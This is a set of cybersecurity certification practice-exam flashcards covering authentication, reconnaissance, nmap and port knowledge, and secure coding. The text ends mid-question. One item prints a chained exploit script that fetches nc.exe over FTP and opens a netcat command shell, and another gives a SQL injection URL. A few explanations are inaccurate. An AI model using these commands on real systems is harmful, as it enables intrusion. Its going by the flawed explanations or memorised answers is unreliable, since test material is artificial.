practice exam 3 Flashcards
Which of the following is NOT a means of improving data validation and trust?
A. Encrypting data in transit
B. Using MD5 checksums for files
C. Decrypting data at rest
D. Implementing Tripwire
C. Decrypting data at rest
Explanation
OBJ-1.1: Encrypting data in transit leads to more integrity and confidentiality of the data, and therefore trust. Hashing files using MD5 to check against known valid checksums would provide integrity, and therefore validation and trust. Implementing a file integrity monitoring program, such as Tripwire, would also improve data validation and trust. Decrypting data at rest does not improve data validation, or trust since the data at rest could be modified when decrypted.
Which of the following would trigger the penetration tester to stop and contact the system owners during an engagement?
A. Discovery of obsfucated PHI data being stored on the system
B. Discovery of an indicator of compromise on a production server
C. Discovery of missing Windows security patches on a production server
D. Discovery of default credentials on an appliance in a staging network
B. Discovery of an indicator of compromise on a production server
Explanation
OBJ-1.1: The penetration testing team should have a direct communication path with the system owners or their trusted agents during an engagement. If the team discovers any security breaches, current hacking activity, extremely critical findings on a production server, or a production server becomes unresponsive during exploitation, then the team should stop what they are doing and contract their trusted point of contact within the organization to get further guidance.
Which of the following identity and access management controls relies upon using a certificate-based authentication mechanism?
A. HOTP
B. Smart card
C. TOTP
D. Proximity card
B. Smart card
Explanation
OBJ-1.1: Smart cards, PIV, and CAC devices are used as an identity and access management control. These devices contain a digital certificate embedded within the smart card (PIV/CAC) presented to the system when it is inserted into the smart card reader. When combined with a PIN, the smart card can be used as a multi-factor authentication mechanism. The PIN unlocks the card and allows the digital certificate to be presented to the system.
What type of scan will measure the size or distance of a person’s external features with a digital video camera?
A. Iris scan
B. Retinal scan
C. Facial recognition scan
D. Signature kinetics scan
C. Facial recognition scan
Explanation
OBJ-1.1: A face recognition system is a computer application capable of identifying or verifying a person from a digital image or a video frame from a video source. One way to do this is by comparing selected facial features from the image and a face database. By measuring the external facial features, such as the distance between your eyes and nose, you can uniquely identify the user. A retinal scan is a biometric technique that uses unique patterns on a person’s retina blood vessels. Iris recognition or iris scanning is the process of using visible and near-infrared light to take a high-contrast photograph of a person’s iris. A signature kinetics scan measures a user’s action when signing their name and compares it against a known-good example or baseline.
Which of the following will an adversary so during the exploitation phase of the Lockheed Martin kill chain? (SELECT THREE)
A. Take advantage of a software, hardware, or human vulnerability
B. Select backdoor implant and appropriate command and control infrastructure for operation
C. Wait for a malicious email attachment to be opened
D. Wait for a user to click on a malicious link
E. A webshell is installed on a web server
F. A backdoor/implant is placed on a victim’s client
A. Take advantage of a software, hardware, or human vulnerability
C. Wait for a malicious email attachment to be opened
D. Wait for a user to click on a malicious link
Explanation
OBJ-1.1: During this phase, activities taken during the exploitation phase are conducted against the target’s system. Taking advantage of or exploiting an accessible vulnerability, waiting for a malicious email attached to be opened, or waiting for a user to click on a malicious link is all part of the exploitation phase. The installation of a web shell, backdoor, or implant is all performed during the installation phase. Selecting a backdoor implant and appropriate command and control infrastructure occurs during the weaponization phase.
What should administrators perform to reduce a system’s attack surface and remove unnecessary software, services, and insecure configuration settings?
A. Harvesting
B. Windowing
C. Hardening
D. Stealthing
C. Hardening
Explanation
OBJ-1.1: Hardening is usually the process of securing a system by reducing its surface of vulnerability, which is larger when a system performs more functions; in principle, a single-function system is more secure than a multipurpose one. Reducing available ways of attack typically includes changing default passwords, removing unnecessary software, unnecessary usernames or logins, and disabling or removing unnecessary services. Windows is the use of windows for the simultaneous display of more than one item on a screen. Harvesting is the process of gathering data, normally user credentials. Stealthing is a made-up term in this question.
Which of the following pairs of authentication factors should you choose to meet the requirements associated with MFA?
A.Username and password
B. Username and pin
C. Thumbprint and password
D. Thumbprint and retina scan
C. Thumbprint and password
Explanation
OBJ-1.1: Multi-factor authentication (MFA) requires a user to provide at least two different forms of authentication: something you know (username, password, pin), something you have (token, key fob, smartphone), something you are (fingerprint, retina scan), something you do (the way you speak a phrase or sign your name), or somewhere you are (location factor based on IP address or geolocation).
Which of the following provides accounting, authorization, and authentication via a centralized privileged database, as well as challenge/response and password encryption?
A. Multi-factor authentication
B. ISAKMP
C. TACACS+
D. Network access control
C. TACACS+
Explanation
OBJ-1.1: TACACS+ is a AAA (accounting, authorization, and authentication) protocol to provide AAA services for access to routers, network access points, and other networking devices.
A cybersecurity analyst is attempting to perform an active reconnaissance technique to audit their company’s security controls. Which DNS assessment technique would be classified as active?
A. A DNS forward or reverse lookup
B. A zone transfer
C. A whois query
D. Using maltego
B. A zone transfer
Explanation
OBJ-2.1: DNS zone transfer, also sometimes known by the inducing DNS query type AXFR, is a DNS transaction type. It is one of the many mechanisms available for administrators to replicate DNS databases across a set of DNS servers. DNS zone transfers are an active technique. Performing a whois query is a passive reconnaissance technique that performs a query of the databases that store the registered users or assignees of an Internet resource, such as a domain name, an IP address block, or an autonomous system, but is also used for a wider range of other information. Performing a DNS forward and reverse lookup zones is an active technique that allows the resolution of names to IP addresses and IP addresses to names. This can be conducted as a passive technique. Maltego is used for open-source intelligence and forensics. It focuses on providing a library for data discovery from open sources and visualizing that information in a graph format suitable for link analysis and data mining. It collects this information passively since it can acquire the information from whois lookup servers, a DNS lookup tool using public DNS servers, or even emails and hostnames one can acquire from TheHarvester.
You are working as part of a penetration testing team conducting engagement against Dion Training’s network. You have been given a list of targets in a text file called servers.txt. Which of the following Nmap commands should you use to find all the servers from the list with ports 80 and 443 enabled and save the results in a greppable file called results.txt?
A. nmap -p80,443 -sL servers.txt -oX results.txt
B. nmap -p80,443 -iL servers.txt -oX results.txt
C. nmap -p80,443 -iL servers.txt -oG results.txt
D. nmap -p80,443 -sL servers.txt -oG results.txt
C. nmap -p80,443 -iL servers.txt -oG results.txt
Explanation
OBJ-2.2: The command (nmap -p80,443 -iL servers.txt -oG results.txt) will only perform an nmap scan against ports 80 and 443. The -iL option will scan each of the listed server’s IP addresses. The -oG option will save the results in a greppable format to the file results.txt while still displaying the normal results to the shell. The option of -sL will only list the servers to scan. It will not actually scan them. The option of -oX is for outputting the results to a file in an XML format.
An attacker uses the nslookup interactive mode to locate information on a Domain Name Service (DNS). What command should they type to request the appropriate records for only name servers?
A. locate type=ns
B. request type=ns
C. set type=ns
D. transfer type=ns
C. set type=ns
Explanation
OBJ-2.1: The “set type=ns” tells nslookup only reports information on name servers. If you used “set type=mx” instead, you would receive information only about mail exchange servers.
As a newly hired cybersecurity analyst, you are attempting to determine your organization’s current public-facing attack surface. Which of the following methodologies or tools generates a current and historical view of the company’s public-facing IP space?
A. shodan.io
B. nmap
C. Google hacking
D. Review network diagrams
A. shodan.io
Explanation
OBJ-2.1: Shodan (shodan.io) is a search engine that identifies Internet-connected devices of all types. The engine uses banner grabbing to identify the type of device, firmware/OS/app type, and version, plus vendor and ID information. This involves no direct interaction with the company’s public-facing internet assets since this might give rise to detection. This is also the first place an adversary might use to conduct reconnaissance on your company’s network. The nmap scanning tool can provide an analysis of the current state of public exposure but has no mechanism to determine the history, nor will it give the same depth of information that shodan.io provides. Google Hacking can determine if a public exposure occurred over public-facing protocols, but it cannot conclusively reveal all the exposures present. Google hacking relies on using advanced Google searches with advanced syntax to search for information across the internet. Network diagrams can show how a network was initially configured. Unless the diagrams are up-to-date, which they usually aren’t, they cannot show the current “as is” configuration. If you can only select one tool to find your attack surface’s current and historical view, shodan is your best choice.
You have just finished running an nmap scan on a server are see the following output:
-=-=-=-=-=-=--=-=-=-=-=-=--=-=-=-=-=-=--=-=-=-=-=-=- # nmap diontraining.com Starting Nmap ( http://nmap.org )
Nmap scan report for diontraining.com (64.13.134.52)
Not shown: 996 filtered ports
PORT STATE
22/tcp open
23/tcp open
53/tcp open
443/tcp open
Nmap done: 1 IP address (1 host up) scanned in 2.56 seconds
-=-=-=-=-=-=–=-=-=-=-=-=–=-=-=-=-=-=–=-=-=-=-=-=-
Based on the output above, which of the following ports listed as open represents the most significant security vulnerability to your network?
A. 22
B. 23
C. 53
D. 443
B. 23
Explanation
OBJ-2.2: Port 23 is used by telnet and is not considered secure because it sends all of its data in cleartext, including authentication data like usernames and passwords. As an analyst, you should recommend that telnet is disabled and blocked from use. The other open ports are for SSH (port 22), DNS (port 53), and HTTPS (port 443).
You are working as a service desk analyst. This morning, you have received multiple calls from users reporting that they cannot access websites from their work computers. You decide to troubleshoot the issue by opening up your command prompt on your Windows machine and running a program to determine where the network connectivity outage occurs. Which tool should you use to determine if the issue is on the intranet portion of your corporate network or if it is occurring due to a problem with your ISP?
A. netstat
B. nslookup
C. ping
D. tracert
D. tracert
Explanation
OBJ-2.1: Tracert is a command-line utility used to trace an IP packet’s path as it moves from its source to its destination. While using ping will tell you if the remote website is reachable or not, it will not tell you where the connection is broken. Tracert performs a series of ICMP echo requests to determine which device in the connection path is not responding appropriately. This will help to identify if the connectivity issue lies within your intranet or is a problem with the ISP’s connection.
You are developing your vulnerability scanning plan and attempting to scope your scans properly. You have decided to focus on the criticality of a system to the organization’s operations when prioritizing the system in the scope of your scans. Which of the following would be the best place to gather the criticality of a system?
A. Ask the CEO for a list of the critical systems
B. Conduct a nmap scan of the network to determine the OS of each system
C. Scope the scan based on IP subnets
D. Review the asset inventory and BCP
D. Review the asset inventory and BCP
Explanation
OBJ-2.1: To best understand a system’s criticality, you should review the asset inventory and the BCP. Most organizations classify each asset in its inventory based on its criticality to the organization’s operations. This helps to determine how many spare parts to have, the warranty requirements, service agreements, and other key factors to help keep these assets online and running at all times. Additionally, you can review the business continuity plan (BCP) since this will provide the organization’s plan for continuing business operations in the event of a disaster or other outage. Generally, the systems or operations listed in a BCP are the most critical ones to support business operations. While the CEO may be able to provide a list of the most critical systems in a large organization, it isn’t easy to get them to take the time to do it, even if they did know the answer. Worse, in most large organizations, the CEO isn’t going to know what systems he relies on, but instead just the business functions they serve, again making this a bad choice. While conducting a nmap scan may help you determine what OS is being run on each system, this information doesn’t help you determine criticality to operations. The same is true of using IP subnets since a list of subnets by itself doesn’t provide criticality or prioritization of the assets.
What results will the following command yield: NMAP -sS -O -p 80-443 145.18.24.7?
A. A stealth scan that scans ports 80 and 443
B. A stealth scan that scans ports 80 to 443
C. A stealth scan that scans all open ports excluding ports 80 to 443
D. A stealth scan that scans all ports from 80 to 443 and determines a target’s operating system
D. A stealth scan that scans all ports from 80 to 443 and determines a target’s operating system
Explanation
OBJ-2.2: When using NMAP, the -sS tells the tool to use a stealth scan using a TCP SYN packet, the -O is used to determine the operating system, and -p dictates which ports to scan. Since the ports were listed as 80-443, this indicates it includes all the ports from 80 through 443.
A security analyst conducts a nmap scan of a server and found that port 25 is open. What risk might this server be exposed to?
A. Open file/print sharing
B. Web portal data leak
C. Clear text authentication
D. Open mail relay
D. Open mail relay
Explanation
OBJ-2.2: Port 25 is the default port for SMTP (Simple Message Transfer Protocol), which is used for sending an email. An active mail relay occurs when an SMTP server is configured in such a way that it allows anyone on the Internet to send email through it, not just mail originating from your known and trusted users. Spammers can exploit this type of vulnerability to use your email server for their own benefit. File/print sharing usually operates over ports 135, 139, and 445 on a Windows server. Web portals run on ports 80 and 443. Clear text authentication could occur using an unencrypted service, such as telnet (23), FTP (20/21), or the web (80).
A penetration test tester conducts an ACK scan using nmap against the external interface of a DMZ firewall. Nmap reports port 80 as “unfiltered”. What type of packet inspection is the firewall performing?
A. Host inspection
B. Stateful inspection
C. Stateless inpsection
D. Application-level inspection
C. Stateless inpsection
Explanation
OBJ-2.2: The unfiltered state means that a port is accessible, but Nmap is unable to determine whether it is open or closed. Only the ACK scan, which is used to map firewall rulesets, classifies ports into this state. Based on the unfiltered port state, the firewall must be performing stateless inspection. Stateless firewalls watch network traffic, and restrict or block packets based on source and destination addresses or other static values. They are not ‘aware’ of traffic patterns or data flows. A stateless firewall uses simple rule-sets with ACLs.
What system contains a publicly available set of databases with registration contact information for every domain name on the Internet?
A. WHOIS
B. IANA
C. CAPTCHA
D. IETF
A. WHOIS
Explanation
OBJ-2.1: WHOIS is a query and response protocol widely used for querying databases that store the registered users or assignees of an Internet resource, such as a domain name, an IP address block, or an autonomous system. WHOIS also is used for a broader range of information. The protocol stores and delivers database content in a human-readable format and is publicly available for use. The Internet Assigned Numbers Authority is a standards organization that oversees global IP address allocation, autonomous system number allocation, root zone management in the Domain Name System, media types, and other Internet Protocol-related symbols and Internet numbers. A CAPTCHA is a type of challenge-response test used in computing to determine whether the user is human. The Internet Engineering Task Force (IETF) is an open standards organization that develops and promotes voluntary Internet standards, particularly the standards that comprise the Internet protocol suite.
If you want to conduct an operating system identification during a nmap scan, which syntax should you utilize?
A. nmap -os
B. nmap -O
C. nmap -id
D. nmap -osscan
B. nmap -O
Explanation
OBJ-2.2: The -O flag indicates to nmap that it should attempt to identify the target’s operating system during the scanning process. It does this by evaluating the responses it received during the scan against its signature database for each operating system.
During scanning and enumeration, you have identified that a port 69 is open on a server. Which fo the following risks exist on this server?
A. Weak SSL cipher implementation
B. Cleartext log ins are accepted
C. Web portal informationn disclosure
D. Unauthenticated access to the server
D. Unauthenticated access to the server
Explanation
OBJ-2.3: Trivial File Transfer Protocol (TFTP) uses port 69. TFTP allows a client to get a file from or put a file onto a remote host. TFTP has no login or access control mechanisms, therefore if it is used it could allow unauthenticated access to the server.
What techniques are commonly used by port and vulnerability scanners to identify the services running on a target system?
A. Comparing response fingerprints and registry scanning
B. Banner grabbing and UDP response timing
C. Using the -O option in nmap and UDP response timing
D. Banner grabbing and comparing response fingerprints
D. Banner grabbing and comparing response fingerprints
Explanation
OBJ-2.2: Service and version identification are often performed by conducting a banner grab or by checking responses for services to known fingerprints for those services. UDP response timing and other TCP/IP stack fingerprinting techniques are used to identify operating systems only. Using nmap -O will conduct an operating system fingerprint scan, but it will not identify the other services being run.
Which of the following tools is used by a penetration tester to conduct open-source intelligence (OSINT)?
A. Nessus
B. Maltego
C. Empire
D. AirCrack-NG
B. Maltego
Explanation
OBJ-2.1: Maltego is an OSINT tool that is used to gather information from public resources. It has a graphical user interface (GUI) that visualizes the information gathered to help a penetration tester make logical connections between the different data sets collected.
Which protocol relies on mutual authentication of the client and the server for its security?
A. RADIUS
B. Two-factor authentication
C. LDAPS
D. CHAP
C. LDAPS
Explanation
OBJ-2.3: The Lightweight Directory Access Protocol (LDAP) uses a client-server model for mutual authentication. LDAP is used to enable access to a directory of resources (workstations, users, information, etc.). TLS provides mutual authentication between clients and servers. Since Secure LDAP (LDAPS) uses TLS, it provides mutual authentication.
You have been asked to add an entry to your DNS records to allow SMTP traffic to be sent out using your domain name. Which type of record should you add to your DNS record?
A. CNAME
B. A
C. MX
D. AAAA
C. MX
Explanation
OBJ-2.1: An MX record is used for outgoing (SMTP) and incoming (POP3/IMAP) traffic. An A record associates your domain name with an IPv4 address. An AAAA record associates your domain name with an IPv6 address. A CNAME record is a canonical name or alias name, which associates one domain name as an alias of another (like beta.diontraining.com and www.diontraining.com could refer to the same website using a CNAME).
Which of the following ports is used by LDAP by default?
A. 53
B. 389
C. 427
D. 3389
B. 389
Explanation
OBJ-2.2: LDAP uses port 389 by default. LDAP (Lightweight Directory Access Protocol) Standard for accessing and updating information in an X.500-style network resource directory. Unless secure communications are used, LDAP is vulnerable to packet sniffing and Man-in-the-Middle attacks. It is also usually necessary to configure user permissions on the directory. LDAP version 3 supports simple authentication or Simple Authentication and Security Layer, which integrates it with Kerberos or TLS.
You have been asked to determine if Dion Training’s web server is vulnerable to a recently discovered attack on an older version of SSH. Which technique should you use to determine the current version of SSH running on their web server?
A. Vulnerability scan
B. Protocol analysis
C. Passive scan
D. Banner grabbing
D. Banner grabbing
Explanation
OBJ-2.2: Banner grabbing is conducted by actively connecting to the server using telnet or netcat and collecting the web server’s response. This banner usually contains the server’s operating system and the version number of the service (SSH) being run. This is the fastest and easiest way to determine the SSH version being run on this web server. While it is possible to use a vulnerability scanner, protocol analyzer, or to conduct a passive scan to determine the SSH version, these are more time consuming and not fully accurate methods to determine the version being run.
A cybersecurity analyst at a mid-sized retail chain has been asked to determine how much information can be gathered from the store’s public webserver. The analyst opens up the terminal on his Kali Linux workstation and uses netcat to gather some information.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[root@kali] nc test.diontraining.com 80
HEAD / HTTP/1.1
HTTP/1.1 200 OK Date: Sun, 12 Jun 2020 14:12:45 AST Server: Apache/2.0.46 (Unix) (Red Hat/Linux) Last-modified: Thu, 16 Apr 2009 11:20:14 PST ETgag: “1986-69b-123a4bc6” Accept-Ranges: bytes Content-Length: 6485 Connection: close Content-Type: text/html -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
What type of action did the analyst perform, based on the command and response above?
A. Cross-site scripting
B. Banner grabbing
C. SQL injection
D. Querying the Whois database
B. Banner grabbing
Explanation
OBJ-2.1: The analyst conducted banner grabbing. Banner grabbing is a technique used to learn information about a computer system on a network and the services running on its open ports. In the question, the command “nc test.diontraining.com 80” was used to establish a connection to a target web server using netcat, then send an HTTP request (HEAD / HTTP/1.1). The response contains information about the service running on the webserver. In this example, the server software version (Apache 2.0.46) and the operating system (Red Hat Linux). Cross-Site Scripting (XSS) attacks are a type of injection in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in a browser side script, to a different end-user. SQL injection is a code injection technique used to attack data-driven applications where malicious SQL statements are inserted into an entry field for execution, such as dumping the database contents to the attacker. A query to the WHOIS database would return information on the website owner, not the server’s operating system.
Which of the following commands can be used to resolve a DNS name to an IP address?
A. dns
B. query
C. host
D. iplookup
C. host
Explanation
OBJ-2.1: The host command is used for DNS (Domain Name System) lookup operations. It is used to find the IP address of a particular domain name or the domain name of a particular IP address. Nslookup and dig are also commands that can be used to lookup a domain name and convert it to an IP address within a Linux system.
A cybersecurity analyst is conducting a port scan of 192.168.1.45 using nmap. During the scan, the analyst found numerous ports open, and nmap could not determine the Operating System version of the system installed at 192.168.1.45. The analyst asks you to look over the results of their nmap scan results:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Starting NMAP 7.60 at 2020-06-12 21:23:15
NMAP scan report for 192.168.1.45
Host is up (0.78s latency).
Not shown: 992 closed ports
PORT STATE SERVICE 21/tcp open ftp 23/tcp open telnet 25/tcp open smtp 80/tcp open http 139/tcp open netbios-ssn 515/tcp open 631/tcp open ipp 9100/tcp open MAC Address: 00:0C:29:18:6B:DB -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Which of the following operating systems is most likely used by the host?
A. Windows server
B. Linux server
C. Windows workstation
D. Networked printer
D. Networked printer
Explanation
OBJ-2.2: Based on the open ports, it is likely that the host is a networked printer. Port 515 is used as an LPR/LPD port for most printers and older print servers. Port 631 is used for IPP for most modern printers and CUPS-based print servers. Port 9100 is used as a RAW port for most printers and is also known as the direct-IP port. If any of these three ports are found, the host is likely a printer. If ports 135, 139, 445 are found, this is usually a good indication of a Windows file server. Port such as FTP, telnet, SMTP, and http is used by both Windows and Linux servers; therefore, they are not as helpful to indicate which operating system is in use by the host.
A penetration tester hired by a bank began searching for the bank’s IP ranges by performing lookups on the bank’s DNS servers, reading news articles online about the bank, monitoring what times the bank’s employees came into and left work, searching job postings (with a special focus on the bank’s information technology jobs), and even searching the corporate office of the bank’s dumpster. Based on this description, what portion of the penetration test is being conducted?
A. Information reporting
B. Vulnerability assessment
C. Active information gathering
D. Passive information gathering
D. Passive information gathering
Explanation
OBJ-2.1: Passive information gathering consists of numerous activities where the penetration tester gathers open-source or publicly available information without the organization under investigation being aware that the information has been accessed. Instead, active information gathering starts to probe the organization using DNS Enumeration, Port Scanning, and OS Fingerprinting techniques. Vulnerability assessments are another form of active information gathering. Information reporting occurs after the penetration test is complete, and it involves writing a final report with the results, vulnerabilities, and lessons learned during the assessment.
Which of the following ports are used to provide secure remote connection sessions over the Internet?
A. 22
B. 25
C. 80
D. 23
A. 22
Explanation
OBJ-2.2: Port 22 is used by Secure Shell (SSH) to securely create communication sessions over the Internet for remote access to a server or system. Telnet used to be used over port 23, but it is insecure and doesn’t provide an encrypted tunnel like SSH does. Port 25 is for SMTP, and Port 80 is for HTTP, neither of which provide an encrypted tunnel, either.
A cybersecurity analyst reviews the logs of a proxy server and saw the following URL, https://www.google.com/search?q=*%40diontraining.com. Which of the following is true about the results of this search?
A. Returns no useful results for an attacker
B. Returns all web pages containing the text diontraining.com
C. Returns all web pages containing an email address affiliated with diontraining.com
D. Returns all web pages hosted at diontraining.com
C. Returns all web pages containing an email address affiliated with diontraining.com
Explanation
OBJ-2.1: Google interprets this statement as <.anything>@diontraining.com and understands that the user is searching for email addresses since %40 is the hex code for the @ symbol. The * is a wild card character meaning that any text could be substituted for the * in the query. This type of search would provide an attacker with a list of email addresses associated with diontraining.com, which could be used as part of a spear-phishing campaign. To return all web pages hosted at diontraining.com, you should use the “site:” modifier in the query. To return all web pages with the text diontraining.com, enter “diontraining.com” into the Google search bar with no modifiers to return those results.
Which of the following port or ports does SIP use?
A. 443
B. 389/636
C. 135/139/445
D. 5060/5061
D. 5060/5061
Explanation
OBJ-2.3: SIP works with other protocols over 5060/5061. 443 is HTTPS, 389/636 is LDAP, and 135/139/445 is NetBIOS and SMB.
A cybersecurity analyst at Yoyodyne Systems just finished reading a news article about their competitor, Whamiedyne Systems, being hacked by an unknown threat actor. Both companies sell to the same basic group of consumers over the internet since their products are used interchangeably by consumers. Which of the following is a valid cybersecurity concern for Yoyodyne Systems?
A. The attacker will conduct a man-in-the-middle attack
B. The same vulnerability will be compromised on their servers
C. The attacker will conduct a SQL injection against their database
D. They may now be vulnerable to a credential stuffing attack
D. They may now be vulnerable to a credential stuffing attack
Explanation
OBJ-5.1: The largest and most immediate cybersecurity concern that the analyst should have is credential stuffing. Credential stuffing occurs when an attacker tests username and password combinations against multiple online sites. Since both companies share a common consumption group, it is likely that some of Yoyodyne’s consumers also had a user account at Whamiedyne. If the attackers compromised the username and passwords from Whamiedyne’s servers, they might attempt to use those credentials on Yoyodyne’s servers, too. There is no definitive reason to believe that both companies are using the same infrastructure. Therefore, the same vulnerability that was exploited by the attacker may not exist at Yoyodyne. The question doesn’t mention an SQL database. Therefore, there is no direct threat of an SQL injection. A man-in-the-middle (MitM) attack occurs when the attacker sits between two communicating hosts and transparently captures, monitors, and relays all communications between the host. Nothing in this question indicates that a MitM was utilized or is a possible threat.
A penetration tester discovered a web server running IIS 4.0 during their enumeration phase. The tester decided to use the msadc.pl attack script to execute arbitrary commands on the webserver. While the msadc.pl script is effective, and the pentester found it too monotonous to perform extended functions. During further research, the penetration tester found a perl script that runs the following msadc commands:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
system(“perl msadc.pl -h $host -C "echo $user»tempfile"”);
system(“perl msadc.pl -h $host -C "echo $pass»tempfile"”);
system(“perl msadc.pl -h $host -C "echo bin»tempfile"”);
system(“perl msadc.pl -h $host -C "echo get nc.exe»tempfile"”);
system(“perl msadc.pl -h $host -C "echo get hacked.html»tempfile"”);
(“perl msadc.pl -h $host -C "echo quit»tempfile"”);
system(“perl msadc.pl -h $host -C "ftp -s:tempfile"”);
$o=; print “Opening FTP connection…\n”;
system(“perl msadc.pl -h $host -C "nc -l -p $port -e cmd.exe"”);
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Which exploit type is indicated by this script?
A. Buffer overflow exploit
B. Chained exploit
C. SQL injection exploit
D. Denial of Service exploit
B. Chained exploit
Explanation
OBJ-5.2: The script is an example of a chained exploit because it combines several programs into one, including writing to a temporary file, netcat usage, and FTP usage. Chained exploits integrate more than one form of attack to accomplish their goal. A buffer overflow is an anomaly where a program that occurs while writing data to a buffer overruns the buffer’s boundary and overwrites adjacent memory locations. SQL injection is a code injection technique used to attack data-driven applications. Malicious SQL statements are inserted into an entry field for execution, such as dumping the database contents to the attacker. A denial-of-service (DoS) attack occurs when legitimate users cannot access information systems, devices, or other network resources due to a malicious cyber threat actor’s actions.
Which of the following is the leading cause for cross-site scripting, SQL injection, and XML injection attacks?
A. Directory traversals
B. File inclusions
C. Faulty input validation
D. Output encoding
C. Faulty input validation
Explanation
OBJ-5.1: A primary vector for attacking applications is to exploit faulty input validation. The input could include user data entered into a form or URL, passed by another application or link. This is heavily exploited by cross-site scripting, SQL injection, and XML injection attacks. Directory traversal is the practice of accessing a file from a location that the user is unauthorized to access. The attacker does this by ordering an application to backtrack through the directory path to read or execute a file in a parent directory. In a file inclusion attack, the attacker adds a file to a web app or website’s running process. The file is either constructed to be malicious or manipulated to serve the attacker’s malicious purposes. Cross-site scripting (XSS) is one of the most powerful input validation exploits. XSS involves a trusted site, a client browsing the trusted site, and the attacker’s site.
Which of the following vulnerabilities can be prevented by using proper input validation? (Select ANY that apply)
A. Cross-site scripting
B. SQL injection
C. Directory traversal
D. XML injection
A. Cross-site scripting
B. SQL injection
C. Directory traversal
D. XML injection
Explanation
OBJ-5.1: Proper input validation can prevent cross-site scripting, SQL injection, directory traversal, and XML injections from occurring. When an application accepts string input, the input should be subjected to normalization or sanitization procedures before being accepted. Normalization means that a string is stripped of illegal characters or substrings and converted to the accepted character set. This can prevent SQL and XML injections from occurring. Input validation is also good at preventing cross-site scripting (XSS) in forms that accept user input. Directory traversals can be prevented by conducting input validation in file paths or URLs accepted from a user. This prevents a canonicalization attack from disguising the nature of the malicious input that could cause a directory traversal.
A penetration tester is conducting software assurance testing on a web application for Dion Training. You discover the web application is vulnerable to an SQL injection and could disclose a regular user’s password. Which of the following actions should you perform?
A. Conduct a proof-of-concept exploit on three user accounts at random and document this in your report
B. Document the finding with an executive summary, methodology used, and a remediation recommendation
C. Contact the development team directly and recommend adding input validation to the web application
D. Recommend that the company conduct a full penetration test of their systems to identify other vulnerabilities
B. Document the finding with an executive summary, methodology used, and a remediation recommendation
Explanation
OBJ-5.3: When you find a vulnerability, it should be documented fully. This includes providing an executive summary for management, the methodology used to find the vulnerability so that others can recreate and verify it, and the recommendation remediation actions that should be taken. You should not exploit three random accounts on the server, which could negatively impact the client’s reputation. You should not contact the development team directly since they may ignore your recommendation, and they did not hire you. While it may be a good idea to conduct a full-scale penetration test, that would not necessarily solve this vulnerability.
Which of the following is NOT a valid reason to conduct reverse engineering?
A. To commit industrial espionage
B. To determine how a piece of malware operates
C. To allow the software developer to spot flaws in their source code
D. To allow an attacker to spot vulnerabilities in an executable
C. To allow the software developer to spot flaws in their source code
Explanation
OBJ-5.1: If a software developer has a copy of their source code, there is no need to reverse engineer it since they can directly examine the code. Doing this is known as static code analysis, not reverse engineering. Reverse engineering is the process of analyzing a system’s or application’s structure to reveal more about how it functions. In malware, examining the code that implements its functionality can provide you with information about how the malware propagates and its primary directives. Reverse engineering is also used to conduct industrial espionage since it can allow a company to figure out how a competitor’s application works and develop its own version. An attacker might use reverse engineering of an application or executable to identify a flaw or vulnerability in its operation and then exploit that flaw as part of their attack.
Which of the following secure coding best practices ensures special characters like <, >, /, and ‘ are not accepted from the user via a web form?
A. Session management
B. Output encoding
C. Error handling
D. Input validation
D. Input validation
Explanation
OBJ-5.3: Input validation is performed to ensure only properly formed data is entering the workflow in an information system, preventing malformed data from persisting in the database and triggering a malfunction of various downstream components. Input validation should happen as early as possible in the data flow, preferably as soon as the data is received from the user. Improper error handling can introduce various security problems where detailed internal error messages such as stack traces, database dumps, and error codes are displayed to an attacker. The session management implementation defines the exchange mechanism that will be used between the user and the web application to share and continuously exchange the session ID. Output encoding involves translating special characters into some different but equivalent form that is no longer dangerous in the target interpreter, for example, translating the < character into the < string when writing to an HTML page.
Your team is developing an update to a piece of code that allows customers to update their billing and shipping addresses in the web application. The shipping address field used in the database was designed with a limit of 75 characters. Your team’s web programmer has brought you some algorithms that may help prevent an attacker from trying to conduct a buffer overflow attack by submitting invalid input to the shipping address field. Which pseudo-code represents the best solution to prevent this issue?
A. if (shippingAddress = 75) {update field} else exit
B. if (shippingAddress != 75) {update field} else exit
C. if (shippingAddress >= 75) {update field} else exit
D. if (shippingAddress <= 75) {update field} else exit
D. if (shippingAddress <= 75) {update field} else exit
Explanation
OBJ-5.2: To ensure that the field is not overrun by an input that is too long, input validation must occur. Checking if the shipping address is less than or equal to 75 characters before updating the field will prevent a buffer overflow from occurring in this program. If the input is 76 characters or more, then the field will not be updated, and the algorithm will exit the function.
You are conducting a vulnerability assessment when you discover a critical web application vulnerability on one of your Apache servers. Which of the following files would contain the Apache server’s logs if your organization uses the default naming convention?
A. httpd_log
B. apache_log
C. access_log
D. http_log
C. access_log
Explanation
OBJ-5.1: On Apache web servers, the logs are stored in a file named access_log. By default, the file can be located at /var/log/httpd/access_log. This file records all requests processed by the Apache server. The WebSphere Application Server uses the httpd_log file for z/OS, which is a very outdated server from the early 2000s. The http_log file is actually a header class file in C used by the Apache web server’s pre-compiled code that provides the logging library but does not contain any actual logs itself. The file called apache_log is actually an executable program that parses Apache log files within in Postgres database.
While conducting a penetration test of a web application, you enter the following URL, http://test.diontraining.com/index.php?id=1%20OR%2017-7%3d10. What type of exploit are you attempting?
A. Session hijacking
B. SQL injection
C. Buffer overflow
D. XML injection
B. SQL injection
Explanation
OBJ-5.3: This is an example of a Boolean-based SQL injection. This occurs when data input by a user is interpreted as a SQL command rather than as normal data by the backend database. In this example, notice that the statement being parsed as part of the URL after the equal sign is equivalent to 1 or 17-7=10. This means the portion of the statement that is 17-7=10 would return a value of 1 (since it is true). Then, we are left to compute if 1 = 1, and since it does, the SQL database will treat this as a positive authentication. This is simply an obfuscation technique of a 1=1 SQL injection technique. A buffer overflow is an exploit that attempts to write data to a buffer and exceed that buffer’s boundary to overwrite an adjacent memory location. A session hijacking attack consists of exploiting the web session control mechanism, normally managed for a session token. XML Injection is an attack technique used to manipulate or compromise an XML application or service’s logic.
Praveen is currently investigating activity from an attacker who compromised a host on the network. The individual appears to have used credentials belonging to a janitor. After breaching the system, the attacker entered some unrecognized commands with very long text strings and then began using the sudo command to carry out actions. What type of attack has just taken place?
A. Privilege escalation
